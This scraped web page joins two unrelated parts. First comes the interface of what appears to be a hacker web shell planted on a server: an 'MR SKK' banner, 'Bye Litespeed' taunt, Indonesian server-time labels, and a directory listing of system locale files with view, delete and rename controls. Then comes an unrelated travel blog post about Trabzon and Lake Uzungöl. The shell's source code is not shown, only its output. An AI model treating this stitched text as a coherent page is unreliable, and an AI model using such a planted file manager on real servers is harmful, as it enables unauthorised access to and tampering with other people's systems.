Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-06 03:45:43
curdir: / / usr / share / locale / ru / LC_MESSAGES / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 15:04:42 0755
.. 4096 2025-12-03 11:10:34 0755
Linux-PAM.mo 15084 2025-12-17 21:54:06 0644
NetworkManager.mo 539894 2023-02-23 12:00:14 0644
PackageKit.mo 33697 2023-10-14 16:32:26 0644
appstream-glib.mo 10401 2019-11-13 17:06:39 0644
aspell.mo 29830 2022-04-18 18:10:51 0644
atk10.mo 13625 2018-03-12 11:03:31 0644
authselect.mo 45991 2023-10-14 21:05:25 0644
bash.mo 134863 2016-09-10 19:43:11 0644
bfd.mo 263290 2018-01-27 18:13:41 0644
binutils.mo 239728 2018-01-27 18:13:43 0644
bison.mo 11595 2019-10-12 15:28:39 0644
chkconfig.mo 12682 2023-10-15 01:48:03 0644
coreutils.mo 473406 2025-12-18 16:54:34 0644
cpio.mo 40451 2015-09-12 14:33:40 0644
cpplib.mo 31813 2025-08-26 12:44:48 0644
cracklib.mo 2397 2019-10-12 03:47:14 0644
cryptsetup.mo 143323 2023-10-15 06:50:56 0644
dialog.mo 1552 2019-10-13 02:42:15 0644
diffutils.mo 44363 2020-05-04 18:15:13 0644
dnf-plugins-core.mo 34374 2024-04-08 13:02:46 0644
dnf.mo 109571 2025-03-11 12:47:57 0644
dos2unix.mo 22418 2019-10-12 03:46:25 0644
dpkg.mo 161074 2021-04-14 01:43:39 0644
findutils.mo 53399 2015-12-29 00:37:36 0644
flex.mo 20820 2019-10-12 15:33:17 0644
fprintd.mo 9617 2021-04-11 02:18:48 0644
gas.mo 23088 2018-01-27 18:13:41 0644
gcc.mo 1959388 2025-08-26 12:44:38 0644
gdk-pixbuf.mo 32438 2018-04-07 21:35:19 0644
gettext-runtime.mo 12090 2016-06-11 16:08:06 0644
gettext-tools.mo 141990 2016-06-11 16:08:14 0644
git.mo 466135 2025-07-23 09:59:39 0644
glib-networking.mo 5904 2019-10-31 18:15:03 0644
glib20.mo 150784 2018-12-18 19:13:00 0644
gnupg2.mo 303896 2020-03-20 17:40:36 0644
goaccess.mo 22883 2023-11-01 02:31:30 0644
gprof.mo 13096 2018-01-27 18:13:43 0644
grep.mo 22207 2019-10-11 18:15:56 0644
grub.mo 168062 2025-10-21 16:34:08 0644
gsettings-desktop-schemas.mo 90771 2021-10-08 22:40:26 0644
gtk20.mo 98356 2021-04-06 16:52:03 0644
initscripts.mo 21678 2025-11-10 13:42:43 0644
json-glib-1.0.mo 6686 2019-11-13 14:20:11 0644
kbd.mo 53566 2023-10-14 23:59:57 0644
ld.mo 14548 2018-01-27 18:13:42 0644
libdnf.mo 26777 2025-01-29 09:59:10 0644
libexif-12.mo 97374 2021-01-26 20:41:34 0644
libgpg-error.mo 37088 2019-10-12 15:20:46 0644
libidn2.mo 6292 2019-05-23 13:10:20 0644
libpq5-13.mo 41396 2025-02-20 22:58:15 0644
libpwquality.mo 7606 2020-10-13 09:32:17 0644
libsecret.mo 1926 2019-11-15 12:37:30 0644
libsoup.mo 4905 2025-11-05 13:55:51 0644
libuser.mo 33075 2024-09-24 05:24:36 0644
make.mo 56375 2022-04-18 19:38:33 0644
man-db-gnulib.mo 6555 2016-12-12 15:44:28 0644
man-db.mo 26266 2016-12-12 15:44:30 0644
mc.mo 108290 2017-03-04 20:56:14 0644
mlocate.mo 9653 2012-09-22 05:14:07 0644
nano.mo 45171 2018-06-02 11:23:50 0644
newt.mo 683 2020-06-01 17:11:17 0644
p11-kit.mo 10485 2024-04-06 17:16:15 0644
parted.mo 89461 2021-10-08 18:43:20 0644
passwd.mo 8020 2022-04-19 01:59:32 0644
pinfo.mo 8490 2019-11-24 20:41:38 0644
policycoreutils.mo 9280 2024-07-03 00:04:16 0644
popt.mo 2829 2020-06-23 14:15:24 0644
psmisc.mo 15788 2020-11-06 17:24:15 0644
rhn-client-tools.mo 55282 2024-04-03 15:46:35 0644
rhnsd.mo 1034 2024-09-17 13:14:53 0644
rpm.mo 56804 2024-12-17 07:11:00 0644
sed.mo 17406 2022-04-19 00:41:03 0644
selinux-python.mo 94382 2024-07-03 00:08:25 0644
shadow.mo 90762 2018-04-29 19:46:39 0644
sssd.mo 111249 2025-11-06 13:40:34 0644
sudo.mo 24520 2025-12-18 17:01:07 0644
sudoers.mo 11555 2025-12-18 17:01:08 0644
syspurpose.mo 2577 2025-07-15 12:13:43 0644
sysstat.mo 15472 2024-07-03 12:57:24 0644
systemd.mo 28761 2025-11-05 12:26:41 0644
tar.mo 81005 2025-08-26 11:57:36 0644
usermode.mo 14048 2021-10-08 22:28:47 0644
util-linux.mo 211274 2025-12-18 16:44:28 0644
wget.mo 96197 2024-08-14 01:22:56 0644
xkeyboard-config.mo 105900 2019-10-19 23:52:51 0644
Karem - You will visit Trabzon after this article

You will visit Trabzon after this article

  • Home
  • Blogs
  • You will visit Trabzon after this article
Blog Details

You will visit Trabzon after this article

When we talk about picturesque nature, clean air, beautiful forests, green spaces, and clear springs, know that the talk is focused on the charming city of Trabzon, with its wonderful sea views of the Black Sea.

The city of Trabzon, which is called the Pearl of the Black Sea, is one of the most beautiful parts of Turkey. It is close to the Georgian border from the northeastern side of Turkey, and near it is the city of Rize, which exports tea to various parts of the world.

 

Trabzon is approximately 1069 km from Istanbul, 39 meters above sea level, where the port of Trabzon is located on the Black Sea. The city’s population is approximately 757,000, according to 2019 statistics, and its area is approximately 4,000 km. Tourism in Trabzon is the backbone of the city’s economy, as it receives thousands of Arab tourists annually.

Trabzon has a warm climate in summer, and humid and cold in winter, and there is usually a lot of rain and snow in the region.

 

Uzungöl Trabzon - the most important tourist places in Trabzon

Uzungöl Trabzon is one of the most popular tourist destinations, how not? It is the lake that has a special luster, and a distinctive charm, which tops the beauty and splendor of all those around it from the other lakes, as it is located at a distance of approximately 96 km from the city center, and on its sides are the mountainous heights covered with a wonderful green carpet, and you can imagine the amount of beauty represented when you travel In Uzungol, and seeing the view of this lake in the winter, especially, when the fog covers the mountains and the heights around it.